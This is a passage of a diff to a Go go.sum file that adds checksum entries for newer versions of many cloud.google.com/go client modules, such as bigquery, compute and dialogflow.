cloud.google.com/go/artifactregistry v1.12.0/go.mod h1:o6P3MIvtzTOnmvGagO9v/rOjjA0HmhJ+/6KAXrmYDCI= cloud.google.com/go/artifactregistry v1.13.0/go.mod h1:uy/LNfoOIivepGhooAUpL1i30Hgee3Cu0l4VTWHUC08= +cloud.google.com/go/artifactregistry v1.14.1/go.mod h1:nxVdG19jTaSTu7yA7+VbWL346r3rIdkZ142BSQqhn5E= cloud.google.com/go/asset v1.5.0/go.mod h1:5mfs8UvcM5wHhqtSv8J1CtxxaQq3AdBxxQi2jGW/K4o= cloud.google.com/go/asset v1.7.0/go.mod h1:YbENsRK4+xTiL+Ofoj5Ckf+O17kJtgp3Y3nn4uzZz5s= cloud.google.com/go/asset v1.8.0/go.mod h1:mUNGKhiqIdbr8X7KNayoYvyc4HbbFO9URsjbytpUaW0= @@ -89,27 +105,34 @@ cloud.google.com/go/asset v1.10.0/go.mod h1:pLz7uokL80qKhzKr4xXGvBQXnzHn5evJAEAt cloud.google.com/go/asset v1.11.1/go.mod h1:fSwLhbRvC9p9CXQHJ3BgFeQNM4c9x10lqlrdEUYXlJo= cloud.google.com/go/asset v1.12.0/go.mod h1:h9/sFOa4eDIyKmH6QMpm4eUK3pDojWnUhTgJlk762Hg= cloud.google.com/go/asset v1.13.0/go.mod h1:WQAMyYek/b7NBpYq/K4KJWcRqzoalEsxz/t/dTk4THw= +cloud.google.com/go/asset v1.14.1/go.mod h1:4bEJ3dnHCqWCDbWJ/6Vn7GVI9LerSi7Rfdi03hd+WTQ= cloud.google.com/go/assuredworkloads v1.5.0/go.mod h1:n8HOZ6pff6re5KYfBXcFvSViQjDwxFkAkmUFffJRbbY= cloud.google.com/go/assuredworkloads v1.6.0/go.mod h1:yo2YOk37Yc89Rsd5QMVECvjaMKymF9OP+QXWlKXUkXw= cloud.google.com/go/assuredworkloads v1.7.0/go.mod h1:z/736/oNmtGAyU47reJgGN+KVoYoxeLBoj4XkKYscNI= cloud.google.com/go/assuredworkloads v1.8.0/go.mod h1:AsX2cqyNCOvEQC8RMPnoc0yEarXQk6WEKkxYfL6kGIo= cloud.google.com/go/assuredworkloads v1.9.0/go.mod h1:kFuI1P78bplYtT77Tb1hi0FMxM0vVpRC7VVoJC3ZoT0= cloud.google.com/go/assuredworkloads v1.10.0/go.mod h1:kwdUQuXcedVdsIaKgKTp9t0UJkE5+PAVNhdQm4ZVq2E= +cloud.google.com/go/assuredworkloads v1.11.1/go.mod h1:+F04I52Pgn5nmPG36CWFtxmav6+7Q+c5QyJoL18Lry0= cloud.google.com/go/automl v1.5.0/go.mod h1:34EjfoFGMZ5sgJ9EoLsRtdPSNZLcfflJR39VbVNS2M0= cloud.google.com/go/automl v1.6.0/go.mod h1:ugf8a6Fx+zP0D59WLhqgTDsQI9w07o64uf/Is3Nh5p8= cloud.google.com/go/automl v1.7.0/go.mod h1:RL9MYCCsJEOmt0Wf3z9uzG0a7adTT1fe+aObgSpkCt8= cloud.google.com/go/automl v1.8.0/go.mod h1:xWx7G/aPEe/NP+qzYXktoBSDfjO+vnKMGgsApGJJquM= cloud.google.com/go/automl v1.12.0/go.mod h1:tWDcHDp86aMIuHmyvjuKeeHEGq76lD7ZqfGLN6B0NuU= +cloud.google.com/go/automl v1.13.1/go.mod h1:1aowgAHWYZU27MybSCFiukPO7xnyawv7pt3zK4bheQE= cloud.google.com/go/baremetalsolution v0.3.0/go.mod h1:XOrocE+pvK1xFfleEnShBlNAXf+j5blPPxrhjKgnIFc= cloud.google.com/go/baremetalsolution v0.4.0/go.mod h1:BymplhAadOO/eBa7KewQ0Ppg4A4Wplbn+PsFKRLo0uI= cloud.google.com/go/baremetalsolution v0.5.0/go.mod h1:dXGxEkmR9BMwxhzBhV0AioD0ULBmuLZI8CdwalUxuss= +cloud.google.com/go/baremetalsolution v1.1.1/go.mod h1:D1AV6xwOksJMV4OSlWHtWuFNZZYujJknMAP4Qa27QIA= cloud.google.com/go/batch v0.3.0/go.mod h1:TR18ZoAekj1GuirsUsR1ZTKN3FC/4UDnScjT8NXImFE= cloud.google.com/go/batch v0.4.0/go.mod h1:WZkHnP43R/QCGQsZ+0JyG4i79ranE2u8xvjq/9+STPE= cloud.google.com/go/batch v0.7.0/go.mod h1:vLZN95s6teRUqRQ4s3RLDsH8PvboqBK+rn1oevL159g= +cloud.google.com/go/batch v1.3.1/go.mod h1:VguXeQKXIYaeeIYbuozUmBR13AfL4SJP7IltNPS+A4A= cloud.google.com/go/beyondcorp v0.2.0/go.mod h1:TB7Bd+EEtcw9PCPQhCJtJGjk/7TC6ckmnSFS+xwTfm4= cloud.google.com/go/beyondcorp v0.3.0/go.mod h1:E5U5lcrcXMsCuoDNyGrpyTm/hn7ne941Jz2vmksAxW8= cloud.google.com/go/beyondcorp v0.4.0/go.mod h1:3ApA0mbhHx6YImmuubf5pyW8srKnCEPON32/5hj+RmM= cloud.google.com/go/beyondcorp v0.5.0/go.mod h1:uFqj9X+dSfrheVp7ssLTaRHd2EHqSL4QZmH4e8WXGGU= +cloud.google.com/go/beyondcorp v0.6.1/go.mod h1:YhxDWw946SCbmcWo3fAhw3V4XZMSpQ/VYfcKGAEU8/4= +cloud.google.com/go/beyondcorp v1.0.0/go.mod h1:YhxDWw946SCbmcWo3fAhw3V4XZMSpQ/VYfcKGAEU8/4= cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= @@ -123,38 +146,49 @@ cloud.google.com/go/bigquery v1.47.0/go.mod h1:sA9XOgy0A8vQK9+MWhEQTY6Tix87M/Zur cloud.google.com/go/bigquery v1.48.0/go.mod h1:QAwSz+ipNgfL5jxiaK7weyOhzdoAy1zFm0Nf1fysJac= cloud.google.com/go/bigquery v1.49.0/go.mod h1:Sv8hMmTFFYBlt/ftw2uN6dFdQPzBlREY9yBh7Oy7/4Q= cloud.google.com/go/bigquery v1.50.0/go.mod h1:YrleYEh2pSEbgTBZYMJ5SuSr0ML3ypjRB1zgf7pvQLU= +cloud.google.com/go/bigquery v1.52.0/go.mod h1:3b/iXjRQGU4nKa87cXeg6/gogLjO8C6PmuM8i5Bi/u4= +cloud.google.com/go/bigquery v1.53.0/go.mod h1:3b/iXjRQGU4nKa87cXeg6/gogLjO8C6PmuM8i5Bi/u4= cloud.google.com/go/billing v1.4.0/go.mod h1:g9IdKBEFlItS8bTtlrZdVLWSSdSyFUZKXNS02zKMOZY= cloud.google.com/go/billing v1.5.0/go.mod h1:mztb1tBc3QekhjSgmpf/CV4LzWXLzCArwpLmP2Gm88s= cloud.google.com/go/billing v1.6.0/go.mod h1:WoXzguj+BeHXPbKfNWkqVtDdzORazmCjraY+vrxcyvI= cloud.google.com/go/billing v1.7.0/go.mod h1:q457N3Hbj9lYwwRbnlD7vUpyjq6u5U1RAOArInEiD5Y= cloud.google.com/go/billing v1.12.0/go.mod h1:yKrZio/eu+okO/2McZEbch17O5CB5NpZhhXG6Z766ss= cloud.google.com/go/billing v1.13.0/go.mod h1:7kB2W9Xf98hP9Sr12KfECgfGclsH3CQR0R08tnRlRbc= +cloud.google.com/go/billing v1.16.0/go.mod h1:y8vx09JSSJG02k5QxbycNRrN7FGZB6F3CAcgum7jvGA= cloud.google.com/go/binaryauthorization v1.1.0/go.mod h1:xwnoWu3Y84jbuHa0zd526MJYmtnVXn0syOjaJgy4+dM= cloud.google.com/go/binaryauthorization v1.2.0/go.mod h1:86WKkJHtRcv5ViNABtYMhhNWRrD1Vpi//uKEy7aYEfI= cloud.google.com/go/binaryauthorization v1.3.0/go.mod h1:lRZbKgjDIIQvzYQS1p99A7/U1JqvqeZg0wiI5tp6tg0= cloud.google.com/go/binaryauthorization v1.4.0/go.mod h1:tsSPQrBd77VLplV70GUhBf/Zm3FsKmgSqgm4UmiDItk= cloud.google.com/go/binaryauthorization v1.5.0/go.mod h1:OSe4OU1nN/VswXKRBmciKpo9LulY41gch5c68htf3/Q= +cloud.google.com/go/binaryauthorization v1.6.1/go.mod h1:TKt4pa8xhowwffiBmbrbcxijJRZED4zrqnwZ1lKH51U= cloud.google.com/go/certificatemanager v1.3.0/go.mod h1:n6twGDvcUBFu9uBgt4eYvvf3sQ6My8jADcOVwHmzadg= cloud.google.com/go/certificatemanager v1.4.0/go.mod h1:vowpercVFyqs8ABSmrdV+GiFf2H/ch3KyudYQEMM590= cloud.google.com/go/certificatemanager v1.6.0/go.mod h1:3Hh64rCKjRAX8dXgRAyOcY5vQ/fE1sh8o+Mdd6KPgY8= +cloud.google.com/go/certificatemanager v1.7.1/go.mod h1:iW8J3nG6SaRYImIa+wXQ0g8IgoofDFRp5UMzaNk1UqI= cloud.google.com/go/channel v1.8.0/go.mod h1:W5SwCXDJsq/rg3tn3oG0LOxpAo6IMxNa09ngphpSlnk= cloud.google.com/go/channel v1.9.0/go.mod h1:jcu05W0my9Vx4mt3/rEHpfxc9eKi9XwsdDL8yBMbKUk= cloud.google.com/go/channel v1.11.0/go.mod h1:IdtI0uWGqhEeatSB62VOoJ8FSUhJ9/+iGkJVqp74CGE= cloud.google.com/go/channel v1.12.0/go.mod h1:VkxCGKASi4Cq7TbXxlaBezonAYpp1GCnKMY6tnMQnLU= +cloud.google.com/go/channel v1.16.0/go.mod h1:eN/q1PFSl5gyu0dYdmxNXscY/4Fi7ABmeHCJNf/oHmc= cloud.google.com/go/cloudbuild v1.3.0/go.mod h1:WequR4ULxlqvMsjDEEEFnOG5ZSRSgWOywXYDb1vPE6U= cloud.google.com/go/cloudbuild v1.4.0/go.mod h1:5Qwa40LHiOXmz3386FrjrYM93rM/hdRr7b53sySrTqA= cloud.google.com/go/cloudbuild v1.6.0/go.mod h1:UIbc/w9QCbH12xX+ezUsgblrWv+Cv4Tw83GiSMHOn9M= cloud.google.com/go/cloudbuild v1.7.0/go.mod h1:zb5tWh2XI6lR9zQmsm1VRA+7OCuve5d8S+zJUul8KTg= cloud.google.com/go/cloudbuild v1.9.0/go.mod h1:qK1d7s4QlO0VwfYn5YuClDGg2hfmLZEb4wQGAbIgL1s= +cloud.google.com/go/cloudbuild v1.10.1/go.mod h1:lyJg7v97SUIPq4RC2sGsz/9tNczhyv2AjML/ci4ulzU= +cloud.google.com/go/cloudbuild v1.13.0/go.mod h1:lyJg7v97SUIPq4RC2sGsz/9tNczhyv2AjML/ci4ulzU= cloud.google.com/go/clouddms v1.3.0/go.mod h1:oK6XsCDdW4Ib3jCCBugx+gVjevp2TMXFtgxvPSee3OM= cloud.google.com/go/clouddms v1.4.0/go.mod h1:Eh7sUGCC+aKry14O1NRljhjyrr0NFC0G2cjwX0cByRk= cloud.google.com/go/clouddms v1.5.0/go.mod h1:QSxQnhikCLUw13iAbffF2CZxAER3xDGNHjsTAkQJcQA= +cloud.google.com/go/clouddms v1.6.1/go.mod h1:Ygo1vL52Ov4TBZQquhz5fiw2CQ58gvu+PlS6PVXCpZI= cloud.google.com/go/cloudtasks v1.5.0/go.mod h1:fD92REy1x5woxkKEkLdvavGnPJGEn8Uic9nWuLzqCpY= cloud.google.com/go/cloudtasks v1.6.0/go.mod h1:C6Io+sxuke9/KNRkbQpihnW93SWDU3uXt92nu85HkYI= cloud.google.com/go/cloudtasks v1.7.0/go.mod h1:ImsfdYWwlWNJbdgPIIGJWC+gemEGTBK/SunNQQNCAb4= cloud.google.com/go/cloudtasks v1.8.0/go.mod h1:gQXUIwCSOI4yPVK7DgTVFiiP0ZW/eQkydWzwVMdHxrI= cloud.google.com/go/cloudtasks v1.9.0/go.mod h1:w+EyLsVkLWHcOaqNEyvcKAsWp9p29dL6uL9Nst1cI7Y= cloud.google.com/go/cloudtasks v1.10.0/go.mod h1:NDSoTLkZ3+vExFEWu2UJV1arUyzVDAiZtdWcsUyNwBs= +cloud.google.com/go/cloudtasks v1.11.1/go.mod h1:a9udmnou9KO2iulGscKR0qBYjreuX8oHwpmFsKspEvM= +cloud.google.com/go/cloudtasks v1.12.1/go.mod h1:a9udmnou9KO2iulGscKR0qBYjreuX8oHwpmFsKspEvM= cloud.google.com/go/compute v0.1.0/go.mod h1:GAesmwr110a34z04OlxYkATPBEfVhkymfTBXtfbBFow= cloud.google.com/go/compute v1.3.0/go.mod h1:cCZiE1NHEtai4wiufUhW8I8S1JKkAnhnQJWM7YD99wM= cloud.google.com/go/compute v1.5.0/go.mod h1:9SMHyhJlzhlkJqrPAc839t2BZFTSk6Jdj6mkzQJeu0M= @@ -170,6 +204,9 @@ cloud.google.com/go/compute v1.15.1/go.mod h1:bjjoF/NtFUrkD/urWfdHaKuOPDR5nWIs63 cloud.google.com/go/compute v1.18.0/go.mod h1:1X7yHxec2Ga+Ss6jPyjxRxpu2uu7PLgsOVXvgU0yacs= cloud.google.com/go/compute v1.19.0/go.mod h1:rikpw2y+UMidAe9tISo04EHNOIf42RLYF/q8Bs93scU= cloud.google.com/go/compute v1.19.1/go.mod h1:6ylj3a05WF8leseCdIf77NK0g1ey+nj5IKd5/kvShxE= +cloud.google.com/go/compute v1.19.3/go.mod h1:qxvISKp/gYnXkSAD1ppcSOveRAmzxicEv/JlizULFrI= +cloud.google.com/go/compute v1.20.1/go.mod h1:4tCnrn48xsqlwSAiLf1HXMQk8CONslYbdiEZc9FEIbM= +cloud.google.com/go/compute v1.23.0/go.mod h1:4tCnrn48xsqlwSAiLf1HXMQk8CONslYbdiEZc9FEIbM= cloud.google.com/go/compute/metadata v0.1.0/go.mod h1:Z1VN+bulIf6bt4P/C37K4DyZYZEXYonfTBHHFPO/4UU= cloud.google.com/go/compute/metadata v0.2.0/go.mod h1:zFmK7XCadkQkj6TtorcaGlCW1hT1fIilQDwofLpJ20k= cloud.google.com/go/compute/metadata v0.2.1/go.mod h1:jgHgmJd2RKBGzXqF5LR2EZMGxBkeanZ9wwa75XHJgOM= @@ -177,15 +214,20 @@ cloud.google.com/go/compute/metadata v0.2.3/go.mod h1:VAV5nSsACxMJvgaAuX6Pk2Aawl cloud.google.com/go/contactcenterinsights v1.3.0/go.mod h1:Eu2oemoePuEFc/xKFPjbTuPSj0fYJcPls9TFlPNnHHY= cloud.google.com/go/contactcenterinsights v1.4.0/go.mod h1:L2YzkGbPsv+vMQMCADxJoT9YiTTnSEd6fEvCeHTYVck= cloud.google.com/go/contactcenterinsights v1.6.0/go.mod h1:IIDlT6CLcDoyv79kDv8iWxMSTZhLxSCofVV5W6YFM/w= +cloud.google.com/go/contactcenterinsights v1.9.1/go.mod h1:bsg/R7zGLYMVxFFzfh9ooLTruLRCG9fnzhH9KznHhbM= +cloud.google.com/go/contactcenterinsights v1.10.0/go.mod h1:bsg/R7zGLYMVxFFzfh9ooLTruLRCG9fnzhH9KznHhbM= cloud.google.com/go/container v1.6.0/go.mod h1:Xazp7GjJSeUYo688S+6J5V+n/t+G5sKBTFkKNudGRxg= cloud.google.com/go/container v1.7.0/go.mod h1:Dp5AHtmothHGX3DwwIHPgq45Y8KmNsgN3amoYfxVkLo= cloud.google.com/go/container v1.13.1/go.mod h1:6wgbMPeQRw9rSnKBCAJXnds3Pzj03C4JHamr8asWKy4= cloud.google.com/go/container v1.14.0/go.mod h1:3AoJMPhHfLDxLvrlVWaK57IXzaPnLaZq63WX59aQBfM= cloud.google.com/go/container v1.15.0/go.mod h1:ft+9S0WGjAyjDggg5S06DXj+fHJICWg8L7isCQe9pQA= +cloud.google.com/go/container v1.22.1/go.mod h1:lTNExE2R7f+DLbAN+rJiKTisauFCaoDq6NURZ83eVH4= +cloud.google.com/go/container v1.24.0/go.mod h1:lTNExE2R7f+DLbAN+rJiKTisauFCaoDq6NURZ83eVH4= cloud.google.com/go/containeranalysis v0.5.1/go.mod h1:1D92jd8gRR/c0fGMlymRgxWD3Qw9C1ff6/T7mLgVL8I= cloud.google.com/go/containeranalysis v0.6.0/go.mod h1:HEJoiEIu+lEXM+k7+qLCci0h33lX3ZqoYFdmPcoO7s4= cloud.google.com/go/containeranalysis v0.7.0/go.mod h1:9aUL+/vZ55P2CXfuZjS4UjQ9AgXoSw8Ts6lemfmxBxI= cloud.google.com/go/containeranalysis v0.9.0/go.mod h1:orbOANbwk5Ejoom+s+DUCTTJ7IBdBQJDcSylAx/on9s= +cloud.google.com/go/containeranalysis v0.10.1/go.mod h1:Ya2jiILITMY68ZLPaogjmOMNkwsDrWBSTyBubGXO7j0= cloud.google.com/go/datacatalog v1.3.0/go.mod h1:g9svFY6tuR+j+hrTw3J2dNcmI0dzmSiyOzm8kpLq0a0= cloud.google.com/go/datacatalog v1.5.0/go.mod h1:M7GPLNQeLfWqeIm3iuiruhPzkt65+Bx8dAKvScX8jvs= cloud.google.com/go/datacatalog v1.6.0/go.mod h1:+aEyF8JKg+uXcIdAmmaMUmZ3q1b/lKLtXCmXdnc0lbc= @@ -194,44 +236,62 @@ cloud.google.com/go/datacatalog v1.8.0/go.mod h1:KYuoVOv9BM8EYz/4eMFxrr4DUKhGIOX cloud.google.com/go/datacatalog v1.8.1/go.mod h1:RJ58z4rMp3gvETA465Vg+ag8BGgBdnRPEMMSTr5Uv+M= cloud.google.com/go/datacatalog v1.12.0/go.mod h1:CWae8rFkfp6LzLumKOnmVh4+Zle4A3NXLzVJ1d1mRm0= cloud.google.com/go/datacatalog v1.13.0/go.mod h1:E4Rj9a5ZtAxcQJlEBTLgMTphfP11/lNaAshpoBgemX8= +cloud.google.com/go/datacatalog v1.14.0/go.mod h1:h0PrGtlihoutNMp/uvwhawLQ9+c63Kz65UFqh49Yo+E= +cloud.google.com/go/datacatalog v1.14.1/go.mod h1:d2CevwTG4yedZilwe+v3E3ZBDRMobQfSG/a6cCCN5R4= +cloud.google.com/go/datacatalog v1.16.0/go.mod h1:d2CevwTG4yedZilwe+v3E3ZBDRMobQfSG/a6cCCN5R4= cloud.google.com/go/dataflow v0.6.0/go.mod h1:9QwV89cGoxjjSR9/r7eFDqqjtvbKxAK2BaYU6PVk9UM= cloud.google.com/go/dataflow v0.7.0/go.mod h1:PX526vb4ijFMesO1o202EaUmouZKBpjHsTlCtB4parQ= cloud.google.com/go/dataflow v0.8.0/go.mod h1:Rcf5YgTKPtQyYz8bLYhFoIV/vP39eL7fWNcSOyFfLJE= +cloud.google.com/go/dataflow v0.9.1/go.mod h1:Wp7s32QjYuQDWqJPFFlnBKhkAtiFpMTdg00qGbnIHVw= cloud.google.com/go/dataform v0.3.0/go.mod h1:cj8uNliRlHpa6L3yVhDOBrUXH+BPAO1+KFMQQNSThKo= cloud.google.com/go/dataform v0.4.0/go.mod h1:fwV6Y4Ty2yIFL89huYlEkwUPtS7YZinZbzzj5S9FzCE= cloud.google.com/go/dataform v0.5.0/go.mod h1:GFUYRe8IBa2hcomWplodVmUx/iTL0FrsauObOM3Ipr0= cloud.google.com/go/dataform v0.6.0/go.mod h1:QPflImQy33e29VuapFdf19oPbE4aYTJxr31OAPV+ulA= cloud.google.com/go/dataform v0.7.0/go.mod h1:7NulqnVozfHvWUBpMDfKMUESr+85aJsC/2O0o3jWPDE= +cloud.google.com/go/dataform v0.8.1/go.mod h1:3BhPSiw8xmppbgzeBbmDvmSWlwouuJkXsXsb8UBih9M= cloud.google.com/go/datafusion v1.4.0/go.mod h1:1Zb6VN+W6ALo85cXnM1IKiPw+yQMKMhB9TsTSRDo/38= cloud.google.com/go/datafusion v1.5.0/go.mod h1:Kz+l1FGHB0J+4XF2fud96WMmRiq/wj8N9u007vyXZ2w= cloud.google.com/go/datafusion v1.6.0/go.mod h1:WBsMF8F1RhSXvVM8rCV3AeyWVxcC2xY6vith3iw3S+8= +cloud.google.com/go/datafusion v1.7.1/go.mod h1:KpoTBbFmoToDExJUso/fcCiguGDk7MEzOWXUsJo0wsI= cloud.google.com/go/datalabeling v0.5.0/go.mod h1:TGcJ0G2NzcsXSE/97yWjIZO0bXj0KbVlINXMG9ud42I= cloud.google.com/go/datalabeling v0.6.0/go.mod h1:WqdISuk/+WIGeMkpw/1q7bK/tFEZxsrFJOJdY2bXvTQ= cloud.google.com/go/datalabeling v0.7.0/go.mod h1:WPQb1y08RJbmpM3ww0CSUAGweL0SxByuW2E+FU+wXcM= +cloud.google.com/go/datalabeling v0.8.1/go.mod h1:XS62LBSVPbYR54GfYQsPXZjTW8UxCK2fkDciSrpRFdY= cloud.google.com/go/dataplex v1.3.0/go.mod h1:hQuRtDg+fCiFgC8j0zV222HvzFQdRd+SVX8gdmFcZzA= cloud.google.com/go/dataplex v1.4.0/go.mod h1:X51GfLXEMVJ6UN47ESVqvlsRplbLhcsAt0kZCCKsU0A= cloud.google.com/go/dataplex v1.5.2/go.mod h1:cVMgQHsmfRoI5KFYq4JtIBEUbYwc3c7tXmIDhRmNNVQ= cloud.google.com/go/dataplex v1.6.0/go.mod h1:bMsomC/aEJOSpHXdFKFGQ1b0TDPIeL28nJObeO1ppRs= +cloud.google.com/go/dataplex v1.8.1/go.mod h1:7TyrDT6BCdI8/38Uvp0/ZxBslOslP2X2MPDucliyvSE= +cloud.google.com/go/dataplex v1.9.0/go.mod h1:7TyrDT6BCdI8/38Uvp0/ZxBslOslP2X2MPDucliyvSE= cloud.google.com/go/dataproc v1.7.0/go.mod h1:CKAlMjII9H90RXaMpSxQ8EU6dQx6iAYNPcYPOkSbi8s= cloud.google.com/go/dataproc v1.8.0/go.mod h1:5OW+zNAH0pMpw14JVrPONsxMQYMBqJuzORhIBfBn9uI= cloud.google.com/go/dataproc v1.12.0/go.mod h1:zrF3aX0uV3ikkMz6z4uBbIKyhRITnxvr4i3IjKsKrw4= +cloud.google.com/go/dataproc/v2 v2.0.1/go.mod h1:7Ez3KRHdFGcfY7GcevBbvozX+zyWGcwLJvvAMwCaoZ4= cloud.google.com/go/dataqna v0.5.0/go.mod h1:90Hyk596ft3zUQ8NkFfvICSIfHFh1Bc7C4cK3vbhkeo= cloud.google.com/go/dataqna v0.6.0/go.mod h1:1lqNpM7rqNLVgWBJyk5NF6Uen2PHym0jtVJonplVsDA= cloud.google.com/go/dataqna v0.7.0/go.mod h1:Lx9OcIIeqCrw1a6KdO3/5KMP1wAmTc0slZWwP12Qq3c= +cloud.google.com/go/dataqna v0.8.1/go.mod h1:zxZM0Bl6liMePWsHA8RMGAfmTG34vJMapbHAxQ5+WA8= cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= cloud.google.com/go/datastore v1.10.0/go.mod h1:PC5UzAmDEkAmkfaknstTYbNpgE49HAgW2J1gcgUfmdM= cloud.google.com/go/datastore v1.11.0/go.mod h1:TvGxBIHCS50u8jzG+AW/ppf87v1of8nwzFNgEZU1D3c= +cloud.google.com/go/datastore v1.12.0/go.mod h1:KjdB88W897MRITkvWWJrg2OUtrR5XVj1EoLgSp6/N70= +cloud.google.com/go/datastore v1.12.1/go.mod h1:KjdB88W897MRITkvWWJrg2OUtrR5XVj1EoLgSp6/N70= +cloud.google.com/go/datastore v1.13.0/go.mod h1:KjdB88W897MRITkvWWJrg2OUtrR5XVj1EoLgSp6/N70= cloud.google.com/go/datastream v1.2.0/go.mod h1:i/uTP8/fZwgATHS/XFu0TcNUhuA0twZxxQ3EyCUQMwo= cloud.google.com/go/datastream v1.3.0/go.mod h1:cqlOX8xlyYF/uxhiKn6Hbv6WjwPPuI9W2M9SAXwaLLQ= cloud.google.com/go/datastream v1.4.0/go.mod h1:h9dpzScPhDTs5noEMQVWP8Wx8AFBRyS0s8KWPx/9r0g= cloud.google.com/go/datastream v1.5.0/go.mod h1:6TZMMNPwjUqZHBKPQ1wwXpb0d5VDVPl2/XoS5yi88q4= cloud.google.com/go/datastream v1.6.0/go.mod h1:6LQSuswqLa7S4rPAOZFVjHIG3wJIjZcZrw8JDEDJuIs= cloud.google.com/go/datastream v1.7.0/go.mod h1:uxVRMm2elUSPuh65IbZpzJNMbuzkcvu5CjMqVIUHrww= +cloud.google.com/go/datastream v1.9.1/go.mod h1:hqnmr8kdUBmrnk65k5wNRoHSCYksvpdZIcZIEl8h43Q= +cloud.google.com/go/datastream v1.10.0/go.mod h1:hqnmr8kdUBmrnk65k5wNRoHSCYksvpdZIcZIEl8h43Q= cloud.google.com/go/deploy v1.4.0/go.mod h1:5Xghikd4VrmMLNaF6FiRFDlHb59VM59YoDQnOUdsH/c= cloud.google.com/go/deploy v1.5.0/go.mod h1:ffgdD0B89tToyW/U/D2eL0jN2+IEV/3EMuXHA0l4r+s= cloud.google.com/go/deploy v1.6.0/go.mod h1:f9PTHehG/DjCom3QH0cntOVRm93uGBDt2vKzAPwpXQI= cloud.google.com/go/deploy v1.8.0/go.mod h1:z3myEJnA/2wnB4sgjqdMfgxCA0EqC3RBTNcVPs93mtQ= +cloud.google.com/go/deploy v1.11.0/go.mod h1:tKuSUV5pXbn67KiubiUNUejqLs4f5cxxiCNCeyl0F2g= +cloud.google.com/go/deploy v1.13.0/go.mod h1:tKuSUV5pXbn67KiubiUNUejqLs4f5cxxiCNCeyl0F2g= cloud.google.com/go/dialogflow v1.15.0/go.mod h1:HbHDWs33WOGJgn6rfzBW1Kv807BE3O1+xGbn59zZWI4= cloud.google.com/go/dialogflow v1.16.1/go.mod h1:po6LlzGfK+smoSmTBnbkIZY2w8ffjz/RcGSS+sh1el0= cloud.google.com/go/dialogflow v1.17.0/go.mod h1:YNP09C/kXA1aZdBgC/VtXX74G/TKn7XVCcVumTflA+8= @@ -240,35 +300,47 @@ cloud.google.com/go/dialogflow v1.19.0/go.mod h1:JVmlG1TwykZDtxtTXujec4tQ+D8SBFM cloud.google.com/go/dialogflow v1.29.0/go.mod h1:b+2bzMe+k1s9V+F2jbJwpHPzrnIyHihAdRFMtn2WXuM= cloud.google.com/go/dialogflow v1.31.0/go.mod h1:cuoUccuL1Z+HADhyIA7dci3N5zUssgpBJmCzI6fNRB4= cloud.google.com/go/dialogflow v1.32.0/go.mod h1:jG9TRJl8CKrDhMEcvfcfFkkpp8ZhgPz3sBGmAUYJ2qE= +cloud.google.com/go/dialogflow v1.38.0/go.mod h1:L7jnH+JL2mtmdChzAIcXQHXMvQkE3U4hTaNltEuxXn4= +cloud.google.com/go/dialogflow v1.40.0/go.mod h1:L7jnH+JL2mtmdChzAIcXQHXMvQkE3U4hTaNltEuxXn4= cloud.google.com/go/dlp v1.6.0/go.mod h1:9eyB2xIhpU0sVwUixfBubDoRwP+GjeUoxxeueZmqvmM= cloud.google.com/go/dlp v1.7.0/go.mod h1:68ak9vCiMBjbasxeVD17hVPxDEck+ExiHavX8kiHG+Q= cloud.google.com/go/dlp v1.9.0/go.mod h1:qdgmqgTyReTz5/YNSSuueR8pl7hO0o9bQ39ZhtgkWp4= +cloud.google.com/go/dlp v1.10.1/go.mod h1:IM8BWz1iJd8njcNcG0+Kyd9OPnqnRNkDV8j42VT5KOI= cloud.google.com/go/documentai v1.7.0/go.mod h1:lJvftZB5NRiFSX4moiye1SMxHx0Bc3x1+p9e/RfXYiU= cloud.google.com/go/documentai v1.8.0/go.mod h1:xGHNEB7CtsnySCNrCFdCyyMz44RhFEEX2Q7UD0c5IhU= cloud.google.com/go/documentai v1.9.0/go.mod h1:FS5485S8R00U10GhgBC0aNGrJxBP8ZVpEeJ7PQDZd6k= cloud.google.com/go/documentai v1.10.0/go.mod h1:vod47hKQIPeCfN2QS/jULIvQTugbmdc0ZvxxfQY1bg4= cloud.google.com/go/documentai v1.16.0/go.mod h1:o0o0DLTEZ+YnJZ+J4wNfTxmDVyrkzFvttBXXtYRMHkM= cloud.google.com/go/documentai v1.18.0/go.mod h1:F6CK6iUH8J81FehpskRmhLq/3VlwQvb7TvwOceQ2tbs= +cloud.google.com/go/documentai v1.20.0/go.mod h1:yJkInoMcK0qNAEdRnqY/D5asy73tnPe88I1YTZT+a8E= +cloud.google.com/go/documentai v1.22.0/go.mod h1:yJkInoMcK0qNAEdRnqY/D5asy73tnPe88I1YTZT+a8E= cloud.google.com/go/domains v0.6.0/go.mod h1:T9Rz3GasrpYk6mEGHh4rymIhjlnIuB4ofT1wTxDeT4Y= cloud.google.com/go/domains v0.7.0/go.mod h1:PtZeqS1xjnXuRPKE/88Iru/LdfoRyEHYA9nFQf4UKpg= cloud.google.com/go/domains v0.8.0/go.mod h1:M9i3MMDzGFXsydri9/vW+EWz9sWb4I6WyHqdlAk0idE= +cloud.google.com/go/domains v0.9.1/go.mod h1:aOp1c0MbejQQ2Pjf1iJvnVyT+z6R6s8pX66KaCSDYfE= cloud.google.com/go/edgecontainer v0.1.0/go.mod h1:WgkZ9tp10bFxqO8BLPqv2LlfmQF1X8lZqwW4r1BTajk= cloud.google.com/go/edgecontainer v0.2.0/go.mod h1:RTmLijy+lGpQ7BXuTDa4C4ssxyXT34NIuHIgKuP4s5w= cloud.google.com/go/edgecontainer v0.3.0/go.mod h1:FLDpP4nykgwwIfcLt6zInhprzw0lEi2P1fjO6Ie0qbc= cloud.google.com/go/edgecontainer v1.0.0/go.mod h1:cttArqZpBB2q58W/upSG++ooo6EsblxDIolxa3jSjbY= +cloud.google.com/go/edgecontainer v1.1.1/go.mod h1:O5bYcS//7MELQZs3+7mabRqoWQhXCzenBu0R8bz2rwk= cloud.google.com/go/errorreporting v0.3.0/go.mod h1:xsP2yaAp+OAW4OIm60An2bbLpqIhKXdWR/tawvl7QzU= cloud.google.com/go/essentialcontacts v1.3.0/go.mod 